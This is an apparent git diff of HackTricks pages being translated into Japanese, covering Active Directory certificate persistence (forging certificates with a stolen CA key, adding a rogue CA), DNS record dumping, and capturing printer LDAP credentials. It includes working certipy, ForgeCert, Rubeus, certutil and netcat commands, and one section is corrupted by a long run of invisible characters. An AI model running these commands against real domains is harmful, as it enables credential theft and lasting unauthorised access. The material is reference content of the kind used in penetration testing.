domain. +結局のところ、これらのシナリオのいずれかは、1つのフォレストから別のフォレストへの攻撃面を**増加**させます。証明書テンプレートの設定によっては、攻撃者はこれを悪用して外部ドメインで追加の特権を取得する可能性があります。 -## References +## 参考文献 -* All the information for this page was taken from [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf) +* このページのすべての情報は、[https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)から取得されました。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md b/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md index fe02bf449..b8e567e63 100644 --- a/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md +++ b/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md @@ -1,41 +1,38 @@ -# AD CS Domain Persistence +# AD CS ドメインの永続化
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Forging Certificates with Stolen CA Certificates - DPERSIST1 +## 盗まれたCA証明書を使用した証明書の偽造 - DPERSIST1 -How can you tell that a certificate is a CA certificate? +証明書がCA証明書であるかどうかをどのように判断できますか? -* The CA certificate exists on the **CA server itself**, with its **private key protected by machine DPAPI** (unless the OS uses a TPM/HSM/other hardware for protection). -* The **Issuer** and **Subject** for the cert are both set to the **distinguished name of the CA**. -* CA certificates (and only CA certs) **have a “CA Version” extension**. -* There are **no EKUs** +* CA証明書は、**CAサーバー自体**に存在し、その**秘密鍵はマシンDPAPIによって保護されています**(OSがTPM/HSM/その他のハードウェアを使用して保護している場合を除く)。 +* 証明書の**発行者**と**サブジェクト**は、両方とも**CAの識別名**に設定されています。 +* CA証明書(CA証明書のみ)には**「CAバージョン」拡張子**があります。 +* **EKUはありません** -The built-in GUI supported way to **extract this certificate private key** is with `certsrv.msc` on the CA server.\ -However, this certificate **isn't different** from other certificates stored in the system, so for example check the [**THEFT2 technique**](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) to see how to **extract** them. - -You can also get the cert and private key using [**certipy**](https://github.com/ly4k/Certipy): +この証明書の秘密鍵を抽出するための組み込みのGUIサポートされた方法は、CAサーバー上の`certsrv.msc`を使用することです。\ +ただし、この証明書はシステムに格納されている他の証明書とは**異なりません**。そのため、例えば[**THEFT2テクニック**](certificate-theft.md#user-certificate-theft-via-dpapi-theft2)をチェックして、**抽出方法**を確認してください。 +また、[**certipy**](https://github.com/ly4k/Certipy)を使用して証明書と秘密鍵を取得することもできます。 ```bash certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup ``` - -Once you have the **CA cert** with the private key in `.pfx` format you can use [**ForgeCert**](https://github.com/GhostPack/ForgeCert) to create valid certificates: - +**CA証明書**を`.pfx`形式で秘密鍵と共に取得したら、[**ForgeCert**](https://github.com/GhostPack/ForgeCert)を使用して有効な証明書を作成できます。 ```bash # Create new certificate with ForgeCert ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123! @@ -49,49 +46,21 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa # User new certi with certipy to authenticate certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128 ``` - {% hint style="warning" %} -**Note**: The target **user** specified when forging the certificate needs to be **active/enabled** in AD and **able to authenticate** since an authentication exchange will still occur as this user. Trying to forge a certificate for the krbtgt account, for example, will not work. +**注意**: 証明書の偽造時に指定する**ユーザー**は、ADで**アクティブ/有効**であり、**認証できる必要があります**。なぜなら、このユーザーとして認証の交換が行われるからです。例えば、krbtgtアカウントの証明書を偽造しようとしてもうまくいきません。 {% endhint %} -This forged certificate will be **valid** until the end date specified and as **long as the root CA certificate is valid** (usually from 5 to **10+ years**). It's also valid for **machines**, so combined with **S4U2Self**, an attacker can **maintain persistence on any domain machine** for as long as the CA certificate is valid.\ -Moreover, the **certificates generated** with this method **cannot be revoked** as CA is not aware of them. +この偽造された証明書は、指定された終了日まで**有効**であり、**ルートCA証明書が有効な限り**(通常は5年から**10年以上**)有効です。また、**マシン**にも有効であり、**S4U2Self**と組み合わせることで、攻撃者はCA証明書が有効な限り、任意のドメインマシンで**持続性を維持**することができます。\ +さらに、この方法で生成された**証明書は取り消すことができません**。なぜなら、CAがそれらを認識していないからです。 -## Trusting Rogue CA Certificates - DPERSIST2 +## 信頼されたローグCA証明書 - DPERSIST2 -The object `NTAuthCertificates` defines one or more **CA certificates** in its `cacertificate` **attribute** and AD uses it: During authentication, the **domain controller** checks if **`NTAuthCertificates`** object **contains** an entry for the **CA specified** in the authenticating **certificate’s** Issuer field. If **it is, authentication proceeds**. +オブジェクト`NTAuthCertificates`は、その`cacertificate`**属性**に1つ以上の**CA証明書**を定義し、ADはそれを使用します。認証中、**ドメインコントローラ**は、認証中の証明書の発行者フィールドに指定された**CA**に対して**`NTAuthCertificates`**オブジェクトにエントリが含まれているかどうかをチェックします。**含まれている場合、認証が進行します**。 -An attacker could generate a **self-signed CA certificate** and **add** it to the **`NTAuthCertificates`** object. Attackers can do this if they have **control** over the **`NTAuthCertificates`** AD object (in default configurations only **Enterprise Admin** group members and members of the **Domain Admins** or **Administrators** in the **forest root’s domain** have these permissions). With the elevated access, one can **edit** the **`NTAuthCertificates`** object from any system with `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126` , or using the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool). +攻撃者は、**自己署名のCA証明書**を生成し、それを**`NTAuthCertificates`**オブジェクトに**追加**することができます。攻撃者は、**`NTAuthCertificates`**ADオブジェクトを**制御**できる場合にこれを行うことができます(デフォルトの構成では、**Enterprise Admin**グループのメンバーと**Domain Admins**または**Administrators**のメンバーはこれらの権限を持っています)。昇格したアクセス権を持つ場合、`certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`を使用して、任意のシステムから**`NTAuthCertificates`**オブジェクトを編集することができます。または、[**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool)を使用することもできます。 -The specified certificate should **work with the previously detailed forgery method with ForgeCert** to generate certificates on demand. +指定された証明書は、以前に詳細に説明した**ForgeCert**を使用して、必要に応じて証明書を生成するために使用することができます。 -## Malicious Misconfiguration - DPERSIST3 +## 悪意のあるミス構成 - DPERSIST3 -There is a myriad of opportunities for **persistence** via **security descriptor modifications of AD CS** components. Any scenario described in the “[Domain Escalation](domain-escalation.md)” section could be maliciously implemented by an attacker with elevated access, as well as addition of “control rights'' (i.e., WriteOwner/WriteDACL/etc.) to sensitive components. This includes: - -* **CA server’s AD computer** object -* The **CA server’s RPC/DCOM server** -* Any **descendant AD object or container** in the container **`CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`** (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.) -* **AD groups delegated rights to control AD CS by default or by the current organization** (e.g., the built-in Cert Publishers group and any of its members) - -For example, an attacker with **elevated permissions** in the domain could add the **`WriteOwner`** permission to the default **`User`** certificate template, where the attacker is the principal for the right. To abuse this at a later point, the attacker would first modify the ownership of the **`User`** template to themselves, and then would **set** **`mspki-certificate-name-flag`** to **1** on the template to enable **`ENROLLEE_SUPPLIES_SUBJECT`** (i.e., allowing a user to supply a Subject Alternative Name in the request). The attacker could then **enroll** in the **template**, specifying a **domain administrator** name as an alternative name, and use the resulting certificate for authentication as the DA. - -## References - -* All the information of this page was taken from [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf) - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+AD CSのコンポーネントの**セキュリティ記述子の変更**による**持続性**のための無数の機会があります。"[ドメインエスカレーション](domain-escalation.md)"セクションで説明されているシナリオは、昇格したアクセス権を持つ攻撃者によって悪意のある目的で実装される可能性があります。また、感​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​ diff --git a/windows-hardening/active-directory-methodology/ad-dns-records.md b/windows-hardening/active-directory-methodology/ad-dns-records.md index 0ee9de811..3e51a5c36 100644 --- a/windows-hardening/active-directory-methodology/ad-dns-records.md +++ b/windows-hardening/active-directory-methodology/ad-dns-records.md @@ -1,21 +1,20 @@ -# AD DNS Records +# AD DNS レコード
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**最新バージョンの PEASS を入手したり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な [**NFT**](https://opensea.io/collection/the-peass-family) のコレクションです。 +* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。** +* **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください。
-By default **any user** in Active Directory can **enumerate all DNS records** in the Domain or Forest DNS zones, similar to a zone transfer (users can list the child objects of a DNS zone in an AD environment). - -The tool [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) enables **enumeration** and **exporting** of **all DNS records** in the zone for recon purposes of internal networks. +デフォルトでは、Active Directory の **任意のユーザー** は、ドメインまたはフォレスト DNS ゾーンの **すべての DNS レコード** を列挙することができます。これは、AD 環境で DNS ゾーンの子オブジェクトをリストすることと同様です。 +ツール [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) は、内部ネットワークの調査目的でゾーン内の **すべての DNS レコード** を **列挙** および **エクスポート** することができます。 ```bash git clone https://github.com/dirkjanm/adidnsdump cd adidnsdump @@ -24,17 +23,16 @@ pip install . adidnsdump -u domain_name\\username ldap://10.10.10.10 -r cat records.csv ``` - -For more information read [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/) +詳細については、[https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)を参照してください。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/active-directory-methodology/ad-information-in-printers.md b/windows-hardening/active-directory-methodology/ad-information-in-printers.md index 744bcfe97..17ea92ea5 100644 --- a/windows-hardening/active-directory-methodology/ad-information-in-printers.md +++ b/windows-hardening/active-directory-methodology/ad-information-in-printers.md @@ -1,84 +1,77 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-There are several blogs in the Internet which **highlight the dangers of leaving printers configured with LDAP with default/weak** logon credentials.\ -This is because an attacker could **trick the printer to authenticate against a rouge LDAP server** (typically a `nc -vv -l -p 444` is enough) and to capture the printer **credentials on clear-text**. +**LDAPのデフォルト/弱い**ログオン資格情報で構成されたプリンタを残す危険性を強調する**いくつかのブログ**がインターネット上にあります。\ +これは、攻撃者がプリンタを**偽のLDAPサーバに認証**させる(通常は`nc -vv -l -p 444`で十分)ことができ、プリンタの**資格情報を平文でキャプチャ**する可能性があるためです。 -Also, several printers will contains **logs with usernames** or could even be able to **download all usernames** from the Domain Controller. +また、いくつかのプリンタには**ユーザ名のログ**が含まれているか、ドメインコントローラから**すべてのユーザ名をダウンロード**することができる場合もあります。 -All this **sensitive information** and the common **lack of security** makes printers very interesting for attackers. +これらの**機密情報**と一般的な**セキュリティの欠如**により、プリンタは攻撃者にとって非常に興味深いものとなります。 -Some blogs about the topic: +このトピックに関するいくつかのブログ: * [https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/](https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/) * [https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) -**The following information was copied from** [**https://grimhacker.com/2018/03/09/just-a-printer/**](https://grimhacker.com/2018/03/09/just-a-printer/) 